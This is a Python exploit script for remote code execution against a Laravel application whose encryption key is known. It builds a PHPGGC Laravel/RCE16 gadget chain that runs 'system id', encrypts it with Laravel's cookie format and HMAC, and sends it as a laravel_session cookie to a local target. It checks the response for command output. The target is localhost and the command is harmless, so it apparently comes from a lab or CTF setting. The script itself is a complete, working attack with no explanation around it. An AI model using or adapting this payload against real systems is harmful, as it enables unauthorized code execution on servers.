#!/usr/bin/env python3
import requests
import subprocess
import base64
import os
import json
import hashlib
import hmac
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

requests.packages.urllib3.disable_warnings()

url = "http://127.0.0.1:9999"
KNOWN_KEY = b'A' * 32

def laravel_encrypt(data, key):
    iv = os.urandom(16)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    padded = pad(data, AES.block_size)
    encrypted = cipher.encrypt(padded)
    
    iv_b64 = base64.b64encode(iv).decode()
    value_b64 = base64.b64encode(encrypted).decode()
    mac = hmac.new(key, (iv_b64 + value_b64).encode(), hashlib.sha256).hexdigest()
    
    payload = {"iv": iv_b64, "value": value_b64, "mac": mac, "tag": ""}
    return base64.b64encode(json.dumps(payload).encode()).decode()

# Generate payload
result = subprocess.run(['/tmp/phpggc/phpggc', 'Laravel/RCE16', 'system', 'id'],
    capture_output=True)
payload = result.stdout.strip()
print(f"[1] PHPGGC payload: {len(payload)} bytes")

# Encrypt with our known key
encrypted = laravel_encrypt(payload, KNOWN_KEY)
print(f"[2] Encrypted payload: {len(encrypted)} bytes")

# Send as cookie
sess = requests.Session()
sess.cookies.set('laravel_session', encrypted)
r = sess.get(url, timeout=30)
print(f"[3] Response: HTTP {r.status_code}")

if 'uid=' in r.text:
    for line in r.text.split('\n'):
        if 'uid=' in line:
            print(f"\n[!] RCE SUCCESS: {line.strip()}")
            break
else:
    if 'decrypt' in r.text.lower() or 'mac' in r.text.lower():
        print("[-] Decryption failed - key mismatch")
    elif 'unserialize' in r.text.lower():
        print("[-] Unserialization error")
    else:
        print(f"[-] No RCE output")
